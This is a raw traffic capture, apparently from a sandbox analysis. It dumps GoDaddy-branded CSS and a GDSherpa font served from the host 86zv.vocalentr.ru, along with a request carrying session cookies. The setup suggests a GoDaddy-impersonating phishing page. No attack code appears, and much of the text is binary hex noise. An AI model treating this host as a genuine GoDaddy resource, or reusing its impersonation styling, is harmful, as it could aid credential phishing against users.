2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 6f 74 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 Data Ascii: ot { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden;
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 Data Ascii: 25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-s
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d Data Ascii: vspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText-
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d Data Ascii: r(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 Data Ascii: margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .f
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 Data Ascii: ansform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}#
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 Data Ascii: : column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-ca
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c 76 Data Ascii: ions_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,v
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c 34 Data Ascii: text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,4

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1352	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Origin: https://86zv.vocalentr.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:11 UTC	1174	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:11 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Tue, 01 Apr 2025 04:51:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2BRMiC1OVuZE%2BvUtJA7O%2BSKcOBmZ%2BphR%2BIWflkvQvuYK4s1rEo2iWoE3ObmoTs%2BG8KmWqStY5cQUoBO9t6IVZTxmUFfZsSRDKwS5F3RNMAP6Er%2FoI66xTgDrgMV35ViwUdHa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10153&min_rtt=10026&rtt_var=2923&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2317&delivery_rate=283214&cwnd=234&unsent_bytes=0&cid=568f9f84a95d2737&ts=35&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9295c0133eadd911-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85924&min_rtt=85913&rtt_var=18141&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1924&delivery_rate=35563&cwnd=252&unsent_bytes=0&cid=ea3b25e9343f974d&ts=461&x=0"
2025-04-01 05:40:11 UTC	195	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 Data Ascii: )JFc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSs
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c Data Ascii: Ka&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 Data Ascii: ]ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGt
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b Data Ascii: tLC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea Data Ascii: \C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 Data Ascii: E=Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 Data Ascii: :*VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:
